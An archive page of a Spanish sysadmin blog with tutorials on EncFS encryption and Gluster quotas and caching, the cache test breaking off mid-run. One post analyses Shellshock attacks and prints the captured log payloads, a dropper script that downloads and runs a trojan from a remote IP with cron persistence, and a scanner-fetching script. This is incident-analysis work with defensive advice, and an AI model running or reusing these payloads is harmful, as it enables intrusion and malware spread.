jueves, 18 de diciembre de 2014

EncFS, cifrando archivos de manera sencilla y en espacio de usuario ;)

Con la llegada de FUSE al mundo informático se han hecho posible cosas muy interesantes en el campo de los sistemas de archivos. En esta caso particular vamos a ver cómo mantener cifrados nuestros archivos de manera sencilla sin necesidad de recurrir a soluciones como cifrado completo de la partición o volúmenes truecrypt. Esto no significa que esta solución sea mejor o peor que las que acabo de mencionar, sino simplemente diferente y posiblemente mas sencilla en determinados escenarios.

Vamos a utilizar EncFS que nos proveerá un sistema de archivos cifrado en espacio de usuario. Básicamente vamos a tener dos directorios:
  • Directorio origen (de ahora en mas origen): este es el directorio donde se almacenaran definitivamente nuestros archivos, pero cifrados
  • Directorio destino (de ahora en mas destino): este es el directorio que montaremos con EncFS y desde donde, dada la correcta clave de descifrado, podremos tener acceso a los archivos descifrados. 
Esto significa que por cada archivo creado en dest tendremos un archivo en orig, a su vez podremos observar que incluso el nombre de los archivos se encontrará cifrado.

Instalando EncFS

La mayoría de las distribuciones cuentan con encfs dentro de sus repositorios oficiales así que con un simple apt-get install encfs o yum install encfs es suficiente. Para los aventureros del ./configure && make pueden obtener las fuentes de encfs aquí y may the force be with you.

Mi directorio cifrado

Preparamos el entorno para la prueba.

juan@moon:~/pruebas$ pwd
/home/juan/pruebas
juan@moon:~/pruebas$ mkdir origen destino
juan@moon:~/pruebas$ ls
destino  origen
juan@moon:~/pruebas$ 


Corroboramos tener instalado encfs de la siguiente manera:

juan@moon:~/pruebas$ encfsctl
encfsctl versión 1.7.4
Uso:
encfsctl (directorio raíz)
-- muestra información sobre el sistema de archivos, o
encfsctl info (root dir)
  -- mostrar información (orden por defecto)
encfsctl showKey (root dir)
  -- show key
encfsctl passwd (root dir)
  -- cambiar la contraseña para el volumen
encfsctl autopasswd (root dir)
  -- cambiar la contraseña para el volumen, se leerá la contraseña de la entrada estándar.
     No se imprime ningún mensaje.
encfsctl showcruft (root dir)
  -- muestra los nombres de los archivos indescifrables en el volumen
encfsctl cat (root dir) path
  -- decodifica el archivo y lo muestra en la salida estándar
encfsctl decode [--extpass=prog] (root dir) [encoded-name ...]
  -- decodifica el nombre y lo muestra en texto plano
encfsctl encode [--extpass=prog] (root dir) [plaintext-name ...]
  -- codifica un nombre de archivo y muestra el resultado
encfsctl export (root dir) path
  descifra un volumen y escribe los resultados a la ruta
encfsctl --version
  -- imprima el numero de versión y termine

Ejemplo:
encfsctl info ~/.crypt

juan@moon:~/pruebas$


Ahora montamos el directorio origen en el directorio destino.

juan@moon:~/pruebas$ encfs $(pwd)/origen/ $(pwd)/destino/
Creando nuevo volumen cifrado.
Por favor, seleccione una de las siguientes opciones:
introduzca "x" para modo de configuración para expertos,
introduzca "p" para el modo preconfigurado paranoico,
cualquier otra cosa (o una línea vacía) seleccionará el modo estándar.
?>

Configuración estándar seleccionada.

Configuración finalizada. El sistema de archivos que se va a crear tendrá las siguientes propiedades:
Cifrado del sistema de archivos: "ssl/aes", versión 3:0:2
Codificación de nombres de archivos: "nameio/block", versión 3:0:1
Tamaño de clave: 192 bits
Tamaño de bloque: 1024 bytes
Cada archivo contiene una cabecera de 8 bytes con datos únicos del IV.
Los nombres de archivos se codificarán usando el modo de encadenamiento de IV.
Agujeros en archivos pasados a través del ciphertext.

A continuación se le pedirá una contraseña para el sistema de archivos.
Debe recordar esta contraseña, ya que no existe absolutamente ningún mecanismo de recuperación. No obstante, la contraseña puede cambiarse después con encfsctl.

Nueva contraseña EncFS:
Verifique la contraseña EncFS:
juan@moon:~/pruebas$


Ajam, así de simple. Claramente opté por las opciones por defecto que son mas que suficiente a fines prácticos. En resumen se está utilizando:
  • AES con clave de 192 bits como algoritmo simétrico de cifrado.
  • El tamaño de bloque define el mínimo tamaño de operación, es decir que para leer un byte del archivo se descifrará el bloque de 1024 bytes que contiene el byte objetivo. 
  • A su vez los nombres de los archivos serán también cifrados para que no puedan ser reconocidos fácilmente.
Esta operación a generado lo que se denomina una clave de volumen con la que realmente se cifran los archivos y a la que tenemos acceso a través de la clave que hemos elegido.

Habiendo montado exitosamente el directorio vemos que se ha creado el archivo origen/.encfs6.xml, donde se registra toda la configuración de cifrado que encfs precisa conocer para poder acceder a nuestra información y poder presentarla de manera legible.

juan@moon:~/pruebas$ ls -lah origen/
total 12K
drwxrwxr-x 2 juan juan 4,0K dic 18 19:58 .
drwxrwxr-x 4 juan juan 4,0K dic 18 20:17 ..
-rw-rw-r-- 1 juan juan 1,1K dic 18 19:58 .encfs6.xml
juan@moon:~/pruebas$


 De todas maneras lo que nos interesa es ver si se montó o no exitosamente, es lo podemos ver de la siguiente manera:

juan@moon:~/pruebas$ mount|grep destino
encfs on /home/juan/pruebas/destino type fuse.encfs (rw,nosuid,nodev,default_permissions,user=juan)
juan@moon:~/pruebas$


Efectivamente funcionó. Ahora probamos su funcionamiento:

juan@moon:~/pruebas$ echo "Mi archivo seguro" > destino/NoLeer.txt
juan@moon:~/pruebas$ ls origen/
Wq-Ec1d66A98AuzX62iEzuYX
juan@moon:~/pruebas$ ls destino/
NoLeer.txt
juan@moon:~/pruebas$ cat origen/Wq-Ec1d66A98AuzX62iEzuYX
� � ��Q��$M2���-ځ�7juan@moon:~/pruebas$ cat destino/NoLeer.txt
Mi archivo seguro
juan@moon:~/pruebas$


Cree un archivo llamado NoLeer.txt dentro del directorio destino cuyo contenido es Mi archivo seguro y notamos lo siguiente:
  • El archivo correspondiente a NoLeer.txt en el directorio origen es Wq-Ec1d66A98AuzX62iEzuYX. Esto nos indica que el nombre del archivo también está siendo protegido.
  • El contenido del archivo es absolutamente ilegible en el directorio origen pero perfectamente legible en el directorio destino (era de esperarse :P).
Ahora desmontamos el directorio para ver con qué nos quedamos:

juan@moon:~/pruebas$ fusermount -u $(pwd)/destino
juan@moon:~/pruebas$ ls destino/
juan@moon:~/pruebas$ ls origen/
Wq-Ec1d66A98AuzX62iEzuYX
juan@moon:~/pruebas$


Lo único que quedó visible es el directorio origen con el archivo cifrado, por lo tanto nuestra información está a salvo.

Podemos volver a acceder a los archivos cifrados si volvemos a montar el directorio:

juan@moon:~/pruebas$ encfs $(pwd)/origen/ $(pwd)/destino/
Contraseña EncFS:
juan@moon:~/pruebas$ ls destino/
NoLeer.txt
juan@moon:~/pruebas$

Posibles aplicaciones:

Algunas de las aplicaciones que se me ocurren para EncFS son:
  • Cifrar el contenido que subimos a "la nube". El caso más claro sería Dropbox, todos lo usan pero pocos cifran la información que almacenan allí, con EncFS sería muy sencillo.
  • Cifrado de backups.
  • Cifrado local de archivos.

Ventajas de EncFS:

Son varias las ventajas de utilizar EncFS, algunas de ellas son:
  • Por defecto solo el usuario que haya montado el directorio puede leer su contenido, ni siquiera root podría hacerlo. 
juan@moon:~/pruebas$ encfs $(pwd)/origen/ $(pwd)/destino/
Contraseña EncFS:
juan@moon:~/pruebas$ ls destino
NoLeer.txt
juan@moon:~/pruebas$ sudo su -
[sudo] password for juan:
root@moon:~# ls /home/juan/pruebas/destino
ls: no se puede acceder a /home/juan/pruebas/destino: Permiso denegado
root@moon:~#  

  • El volumen EncFS no ocupa espacio, y crece y decrece de acuerdo a los archivos que se agreguen.

miércoles, 12 de noviembre de 2014

Gluster: usando quotas

Una de las funcionalidades de gluster que me resultó de gran utilidad en estos días dada la escasez de espacio son las quotas. Básicamente las quotas nos permiten asignar límites de uso de espacio a directorios dentro de los volúmenes de gluster.

Supongamos que tenemos 2 aplicaciones aplicacion1 y aplicacion2 que tienen acceso a directorios homónimos dentro de un volumen gluster replicado llamado contenedor. A continuación vemos el volumen en cuestión:


[root@gluster-server-2 ~]# gluster vol info

Volume Name: contenedor
Type: Replicate
Volume ID: 3933514f-f5a4-4260-9d40-964c6cc44b59
Status: Started
Number of Bricks: 1 x 2 = 2
Transport-type: tcp
Bricks:
Brick1: 172.16.47.15:/mnt/1
Brick2: 172.16.47.16:/mnt/1
[root@gluster-server-2 ~]# 

El primer paso para utilizar quotas es habilitarlas en el volumen:

[root@gluster-server-2 ~]# gluster vol quota contenedor enable
Enabling quota has been successful
[root@gluster-server-2 ~]# 

Verificamos que la operación se haya concretado correctamente:

[root@gluster-server-2 ~]# gluster vol info
 
Volume Name: contenedor
Type: Replicate
Volume ID: 3933514f-f5a4-4260-9d40-964c6cc44b59
Status: Started
Number of Bricks: 1 x 2 = 2
Transport-type: tcp
Bricks:
Brick1: 172.16.47.15:/mnt/1
Brick2: 172.16.47.16:/mnt/1
Options Reconfigured:
features.quota: on
[root@gluster-server-2 ~]# 

Ahora que las quotas están habilitadas podemos configurarlas. En este caso cofiguramos una quota de 1GB para el directorio aplicacion1 y 512MB para el directorio aplicacion2:

[root@gluster-server-2 ~]# gluster vol quota contenedor limit-usage /aplicacion1 1024MB
limit set on /aplicacion1
[root@gluster-server-2 ~]# gluster vol quota contenedor limit-usage /aplicacion2 512MB
limit set on /aplicacion2
[root@gluster-server-2 ~]# 

Corroboramos que se hayan aplicado las quotas:

[root@gluster-server-2 ~]# gluster vol info
 
Volume Name: contenedor
Type: Replicate
Volume ID: 3933514f-f5a4-4260-9d40-964c6cc44b59
Status: Started
Number of Bricks: 1 x 2 = 2
Transport-type: tcp
Bricks:
Brick1: 172.16.47.15:/mnt/1
Brick2: 172.16.47.16:/mnt/1
Options Reconfigured:
features.limit-usage: /aplicacion1:1024MB,/aplicacion2:512MB
features.quota: on
[root@gluster-server-2 ~]# 

Ahora probamos las cuotas escribiendo en los directorios desde el cliente que monta el volumen. El volumen lo montamos en /mnt:

[root@gluster-client ~]# mount
/dev/vda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw,rootcontext="system_u:object_r:tmpfs_t:s0")
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
172.16.47.15:/contenedor on /mnt type fuse.glusterfs (rw,default_permissions,allow_other,max_read=131072)
[root@gluster-client ~]# ls /mnt/
aplicacion1  aplicacion2
[root@gluster-client ~]# 

Primero escribimos en ambos directorios hasta poco antes del límite:

[root@gluster-client ~]# dd if=/dev/zero of=/mnt/aplicacion1/archivo_grande bs=1M count=1020
1020+0 records in
1020+0 records out
1069547520 bytes (1.1 GB) copied, 32.5717 s, 32.8 MB/s
[root@gluster-client ~]# dd if=/dev/zero of=/mnt/aplicacion2/archivo_grande bs=1M count=500
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 14.0041 s, 37.4 MB/s
[root@gluster-client ~]# 

Vemos cuánto escribimos en cada directorio:

[root@gluster-client ~]# du -sch /mnt/*
1020M /mnt/aplicacion1
500M /mnt/aplicacion2
1.5G total
[root@gluster-client ~]# 

De momento nos mantuvimos por debajo de los límites definidos en las cuotas, por eso no tuvimos problema alguno. Podemos verificar el estado de las cuotas fijadas de la siguiente manera:

[root@gluster-server-2 ~]# gluster vol quota contenedor list
path  limit_set     size
----------------------------------------------------------------------------------
/aplicacion1             1024MB             1020.0MB
/aplicacion2              512MB              500.0MB
[root@gluster-server-2 ~]# 

Ahora ponemos a prueba el control escribiendo mas allá de lo permitido con un nuevo archivo:

[root@gluster-client ~]# dd if=/dev/zero of=/mnt/aplicacion1/archivo_chico bs=1M count=100
dd: escribiendo «/mnt/aplicacion1/archivo_chico»: Se ha excedido la cuota de disco
6+0 records in
5+0 records out
5898240 bytes (5.9 MB) copied, 0.141132 s, 41.8 MB/s
[root@gluster-client ~]# dd if=/dev/zero of=/mnt/aplicacion2/archivo_chico bs=1M count=100
dd: escribiendo «/mnt/aplicacion2/archivo_chico»: Se ha excedido la cuota de disco
dd: cerrando el fichero de salida «/mnt/aplicacion2/archivo_chico»: Se ha excedido la cuota de disco
[root@gluster-client ~]# 

JA! No pudimos escribir demasiado, alcanzamos los límites fijados por las cuotas:

[root@gluster-client ~]# du -sch /mnt/*
1.1G /mnt/aplicacion1
513M /mnt/aplicacion2
1.6G total
[root@gluster-client ~]# 

también lo podemos ver desde gluster:

[root@gluster-server-2 ~]# gluster vol quota contenedor list
path  limit_set     size
----------------------------------------------------------------------------------
/aplicacion1             1024MB                1.0GB
/aplicacion2              512MB              512.5MB
[root@gluster-server-2 ~]# 

Una vez alcanzada la cuota ni siquiera se nos permite crear nuevos archivos o directorios:

[root@gluster-client ~]# touch /mnt/aplicacion1/a
touch: no se puede efectuar `touch' sobre «/mnt/aplicacion1/a»: Se ha excedido la cuota de disco
[root@gluster-client ~]# touch /mnt/aplicacion2/a
touch: no se puede efectuar `touch' sobre «/mnt/aplicacion2/a»: Se ha excedido la cuota de disco
[root@gluster-client ~]# mkdir /mnt/aplicacion1/b
mkdir: no se puede crear el directorio «/mnt/aplicacion1/b»: Se ha excedido la cuota de disco
[root@gluster-client ~]# mkdir /mnt/aplicacion2/b
mkdir: no se puede crear el directorio «/mnt/aplicacion2/b»: Se ha excedido la cuota de disco
[root@gluster-client ~]# 

Las cuotas pueden ser aplicadas a sub directorios también, y un punto a considerar es que se trata de cuotas duras, es decir que NO se pueden sobrepasar.

domingo, 28 de septiembre de 2014

Buscando rastros de CVE-2014-6271 y CVE-2014-7169 en los logs

El miércoles pasado se descubrió una gran falla de seguridad en uno de las shells mas utilizadas en ambietes Unix-like, bash. Hoy que estoy de vuelta en el ruedo me decidí a ver si ya estabamos antes escaneos masivos en busca de servidores para explotar la vulnerabilidad y claramente si.

En un breve análisis de logs de apache vemos cosas como:


Sep 27 14:34:35 host01 host01: 37.148.163.38 - - [27/Sep/2014:14:34:34 -0300] "GET / HTTP/1.1" 200 91558 "-" "() { :;}; /bin/bash -c \"wget http://psicologoweb.net/mc/s.php/host1\""

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host03 host03: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 9836 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host04 host04: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 10166 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

La lista continua con diferentes variantes, pero en esencia se descargan desde la IP 221.132.37.26 el archivo "sh" con el siguiente contenido:


#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

El paso siguiente es descargarse un ejecutable llamado "xx":


file juan@moon:~$ file Descargas/xx
Descargas/xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

juan@moon:~$ ll Descargas/xx -h
-rw-rw-r-- 1 juan juan 652K 2014-09-28 21:18 Descargas/xx

juan@moon:~$ md5sum Descargas/xx
835ccabb2fded42a58f40a342a3ea189  Descargas/xx
juan@moon:~$ 



Un binario de un tamaño considerable, catalogado por Virustotal como un troyano para Linux (enlace del análisis: https://www.virustotal.com/es/file/b48d0534a20291bc102f1f9ba9882daf753a9a75006e0be7ffb90bfc7df7e2f1/analysis/1411951054/)



Ejecuta el troyano y descarga dos nuevos archivos "ru" y "rr", siendo el contenido de ru (rr ya fue eliminado parece ser):


#!/bin/bash
dontrun=""
arch=`uname -m`
cd /dev/shm
function runPnscan()
{

cd /dev/shm
chmod +x pnscan php
bash run &

}

function isPnscanOn()
{
        pid=`pidof pnscan`
        if [ "$pid" == "" ];then

                retval=0
        else
                retval=1
        fi             
        echo "$retval"
}
        cd /dev/shm
        if [ ! -f pnscan ];then
        case "$arch" in
                "x86_64")
                wget -q http://bont.hu/ar/64.tgz -O 64.tgz
                tar xvzf 64.tgz
rm -rf 64.tgz
                ;;
                *)
                wget -q http://bont.hu/ar/86.tgz -O 86.tgz
                tar xvzf 86.tgz
rm -rf 86.tgz
                ;;
        esac
        fi


if [ $(isPnscanOn) == 1 ];then
#        echo "Running"
        exit
else
        echo "Not Running"
        if [ "$dontrun" != "1" ];then
                $(runPnscan)
        fi
fi
rm -rf /dev/shm/run
rm -rf /dev/shm/pnscan

Este nuevo script descarga mas cosas que ya no existen por lo tanto no parecería tener sentido analizarlo demasiado pero... a simple vista intenta correr a toda costa pnscan, y ¿qué demonios es eso? JA, se trata de nada mas y nada menos que un scanner de redes paralelo, es decir un software para scanear grandes redes de manera eficiente con funcionamiento multihilo lo cual lo hace muy rápido. 

Continuando con el script xx vemos que una vez descargados ru y rr los ejecuta y elimina. Paso siguiente mata una cantidad considerable de procesos, muchos conocidos y otros no tanto. 

Lo mas simpático de este script es el intento de inmortalizarse haciendo uso de cron:


echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron


Como siempre se están usando sitios comprometidos para alojar el malware que se descarga, en este caso el sitio bont.hu por ejemplo.

Recomendaciones:

-Revisen los logs y busquen cadenas como "/bin/bash", "echo", "/bin/wget", etc, junto con "() {", etc.
-Si encuentran sistemas que registraron estos logs, analicen mas a fondo para ver si realmente fue ejecutada la orden. Si la aplicación web tien cgi activados, con mas razón aún.
-Eliminen todos los archivos de /tmp/
-Busquen conexiones desde/hacia el servidor en puertos raros con netstat por ejemplo (si es que no fue cambiado por un rootkit claro xD)
-Por último cabe recordar que no hay que fiarse demasiado de la información que entregue el sistema dado que puede haber sido comprometido.

Saludossss

domingo, 24 de agosto de 2014

Gluster: explotando su cache

Ya que los últimos días estuve trabajando bastante con gluster y su cache, me pareció interesante plasmarlo acá (para cuando me vuelva a olvidar cómo se hace ja!). La idea es mostrarles cómo se configura la cache en los volúmenes de gluster y qué funcionamiento tiene.

En este escenario vamos a estar trabajando con Gluster 3.5.2 (not production ready yet, but good enough :P) sobre CentOS 6.5.

Creando un volumen con  replica 2

Para empezar necesitamos crear un volumen. En este caso creamos un volumen con réplica 2 de la siguiente manera:

[root@gluster-test-1 ~]# gluster vol create volumen_prueba replica 2 gluster-test-1:/ladrillos/l1/l gluster-test-2:/ladrillos/l1/l
volume create: volumen_prueba: success: please start the volume to access data
[root@gluster-test-1 ~]# gluster vol start volumen_prueba
volume start: volumen_prueba: success
[root@gluster-test-1 ~]# 

Una vez creado e iniciado vemos su estado e información

[root@gluster-test-1 ~]# gluster vol status volumen_prueba
Status of volume: volumen_prueba
Gluster process                                         Port    Online  Pid
------------------------------------------------------------------------------
Brick gluster-test-1:/ladrillos/l1/l                    49159   Y       11717
Brick gluster-test-2:/ladrillos/l1/l                    49159   Y       12102
NFS Server on localhost                                 N/A     N       N/A
Self-heal Daemon on localhost                           N/A     Y       11731
NFS Server on gluster-test-3                            N/A     N       N/A
Self-heal Daemon on gluster-test-3                      N/A     Y       11929
NFS Server on gluster-test-2                            N/A     N       N/A
Self-heal Daemon on gluster-test-2                      N/A     Y       12120
 
Task Status of Volume volumen_prueba
------------------------------------------------------------------------------
There are no active volume tasks
 
[root@gluster-test-1 ~]# gluster vol info volumen_prueba
                                                                                                                                                                  
Volume Name: volumen_prueba                                                                                                                                       
Type: Replicate                                                                                                                                                   
Volume ID: 1197881d-ce2a-4f64-af17-53e5529b691c                                                                                                                   
Status: Started                                                                                                                                                   
Number of Bricks: 1 x 2 = 2                                                                                                                                       
Transport-type: tcp                                                                                                                                               
Bricks:                                                                                                                                                           
Brick1: gluster-test-1:/ladrillos/l1/l                                                                                                                            
Brick2: gluster-test-2:/ladrillos/l1/l                                                                                                                            
[root@gluster-test-1 ~]#   

Ahora que vemos que todo se encuentra bien montamos el volumen desde la máquina cliente:

[root@gluster-client-1 ~]# mount.glusterfs gluster-test-1:/volumen_prueba /mnt/gluster_vol                                                                       
[root@gluster-client-1 ~]# 

Dado que el montaje fue exitoso vemos los logs en /var/log/gluster/mnt-gluster_vol.log y encontramos la definición del volumen (todos estos translators y demás valores se cargan por defecto):

Final graph:
+------------------------------------------------------------------------------+
  1: volume volumen_prueba-client-0
  2:     type protocol/client
  3:     option remote-host gluster-test-1
  4:     option remote-subvolume /ladrillos/l1/l
  5:     option transport-type socket
  6:     option send-gids true
  7: end-volume
  8: 
  9: volume volumen_prueba-client-1
 10:     type protocol/client
 11:     option remote-host gluster-test-2
 12:     option remote-subvolume /ladrillos/l1/l
 13:     option transport-type socket
 14:     option send-gids true
 15: end-volume
 16: 
 17: volume volumen_prueba-replicate-0
 18:     type cluster/replicate
 19:     subvolumes volumen_prueba-client-0 volumen_prueba-client-1
 20: end-volume
 21: 
 22: volume volumen_prueba-dht
 23:     type cluster/distribute
 24:     subvolumes volumen_prueba-replicate-0
 25: end-volume
 26: 
 27: volume volumen_prueba-write-behind
 28:     type performance/write-behind
 29:     subvolumes volumen_prueba-dht
 30: end-volume
 31: 
 32: volume volumen_prueba-read-ahead
 33:     type performance/read-ahead
 34:     subvolumes volumen_prueba-write-behind
 35: end-volume
 36: 
 37: volume volumen_prueba-io-cache
 38:     type performance/io-cache
 39:     subvolumes volumen_prueba-read-ahead
 40: end-volume
 41: 
 42: volume volumen_prueba-quick-read
 43:     type performance/quick-read
 44:     subvolumes volumen_prueba-io-cache
 45: end-volume
 46: 
 47: volume volumen_prueba-open-behind
 48:     type performance/open-behind
 49:     subvolumes volumen_prueba-quick-read
 50: end-volume
 51: 
 52: volume volumen_prueba-md-cache
 53:     type performance/md-cache
 54:     subvolumes volumen_prueba-open-behind
 55: end-volume
 56: 
 57: volume volumen_prueba
 58:     type debug/io-stats
 59:     option latency-measurement off
 60:     option count-fop-hits off
 61:     subvolumes volumen_prueba-md-cache
 62: end-volume
 63: 
+------------------------------------------------------------------------------+

Las líneas 37 a 40 hacen referencia a la configuración del performance/IO-cache translator, el cuál se encarga de definir la configuración del cache del volumen.  Como vemos no hay demasiado configurado dado que aún se encuentra todo por defecto. Según la documentación oficial el tamaño default del cache es de 32Mbytes y un tiempo de expiración de 1 segundo. 

Algunos de los parámetros que podremos controlar desde aquí son:

  • cache-size: espacio asignado a cache
  • cache-timeout: tiempo de expiración de los objetos en cache
  • priority: permite asignar prioridades a distintos tipos de archivos para el uso de cache
  • cache-max-file-size: tamaño máximo de archivo que se puede almacenar en cache
  • cache-min-file-size: tamaño mínimo de archivo que se puede almacenar en cache

Probando los default settings:

Ahora que montamos el archivo vamos a probar la configuración por defecto con que se arman los volúmenes en gluster.

Primero escribimos un archivo de 25Mbytes en el directorio montado:

[root@gluster-client-1 ~]# dd if=/dev/zero of=/mnt/gluster_vol/25MB bs=1M count=25
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0286961 s, 914 MB/s
[root@gluster-client-1 ~]# ll -h /mnt/gluster_vol/
total 25M
-rw-r--r--. 1 root root 25M ago 24 20:54 25MB
[root@gluster-client-1 ~]# 

Ahora lo leeremos con intervalos de 10 segundos limpiando los bufferes del sistema entre cada operación:

[root@gluster-client-1 ~]# for i in 1 2 3 4 5; do echo 3 > /proc/sys/vm/drop_caches; dd of=/dev/null if=/mnt/gluster_vol/25MB bs=1M; date; sleep 10;done
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,271792 s, 96,5 MB/s
dom ago 24 21:20:12 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0568677 s, 461 MB/s
dom ago 24 21:20:22 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0402717 s, 651 MB/s
dom ago 24 21:20:32 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0392092 s, 669 MB/s
dom ago 24 21:20:43 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0420014 s, 624 MB/s
dom ago 24 21:20:53 ART 2014
[root@gluster-client-1 ~]# 

Interesante! La primer lectura demora 0.27 segundos, mientras que las 4 siguientes demoran entre 0.03 y 0.05! Claramente se trata de la intervención de la cache. Podría parecer confuso por los 10 segundos que esperamos entre lectura y lectura, pero la documentación define cache-timeout como un tiempo de expiración que fuerza una de re-validación, así que este es un comportamiento esperable. Probablemente estos 10 segundos de espera hubiesen sido demasiado en un entorno de mayor uso del cache.
 
Ahora corremos la misma prueba pero removiendo el tiempo de espera de 10 segundos:

[root@gluster-client-1 ~]# for i in 1 2 3 4 5; do echo 3 > /proc/sys/vm/drop_caches; dd of=/dev/null if=/mnt/gluster_vol/25MB bs=1M; date; done
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0485229 s, 540 MB/s
dom ago 24 21:25:18 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0471389 s, 556 MB/s
dom ago 24 21:25:18 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0360902 s, 726 MB/s
dom ago 24 21:25:18 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0359891 s, 728 MB/s
dom ago 24 21:25:18 ART 2014
25+0 records in
25+0 records out
26214400 bytes (26 MB) copied, 0,0355376 s, 738 MB/s
dom ago 24 21:25:18 ART 2014
[root@gluster-client-1 ~]# 

Podemos ver que los tiempos no son demasiado diferentes a los que obtuvimos anteriormente. 

Qué pasaría con un archivo mayor a 32Mbytes...? Escribimos un archivo de 128Mbytes para ver qué sucede:

[root@gluster-client-1 ~]# dd if=/dev/zero of=/mnt/gluster_vol/128MB bs=1M count=128
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 2,403 s, 55,9 MB/s
[root@gluster-client-1 ~]# ll -h /mnt/gluster_vol/
total 153M
-rw-r--r--. 1 root root 128M ago 24 21:27 128MB
-rw-r--r--. 1 root root  25M ago 24 21:19 25MB
[root@gluster-client-1 ~]# 

Ahora lo leemos:

[root@gluster-client-1 ~]# for i in 1 2 3 4 5; do echo 3 > /proc/sys/vm/drop_caches; dd of=/dev/null if=/mnt/gluster_vol/128MB bs=1M; date; done
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,95299 s, 68,7 MB/s
dom ago 24 21:29:09 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,95518 s, 68,6 MB/s
dom ago 24 21:29:11 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,96224 s, 68,4 MB/s
dom ago 24 21:29:13 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,94886 s, 68,9 MB/s
dom ago 24 21:29:15 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,98702 s, 67,5 MB/s
dom ago 24 21:29:17 ART 2014
[root@gluster-client-1 ~]#

En este caso vemos claramente que estamos teniendo velocidades de lectura muy bajas, lo que nos da la pauta de que no estamos utilizando la cache.

Modificando la configuración de cache:

Ahora vamos a aumentar nuestra capacidad de cache para lograr una buena velocidad de lectura en el caso del archivo de 128Mbytes. Seteamos la cache a 256Mbytes de la siguiente manera:

[root@gluster-test-1 ~]# gluster vol set volumen_prueba performance.cache-size 256MB                                                                             
volume set: success                                                                                                                                               
[root@gluster-test-1 ~]# gluster vol info volumen_prueba
Volume Name: volumen_prueba
Type: Replicate
Volume ID: 1197881d-ce2a-4f64-af17-53e5529b691c
Status: Started
Number of Bricks: 1 x 2 = 2
Transport-type: tcp
Bricks:
Brick1: gluster-test-1:/ladrillos/l1/l
Brick2: gluster-test-2:/ladrillos/l1/l
Options Reconfigured:
performance.cache-size: 256MB
[root@gluster-test-1 ~]# 

Podríamos pensar que no sucedió nada, pero...

[root@gluster-client-1 ~]# for i in 1 2 3 4 5; do echo 3 > /proc/sys/vm/drop_caches; dd of=/dev/null if=/mnt/gluster_vol/128MB bs=1M; date; done
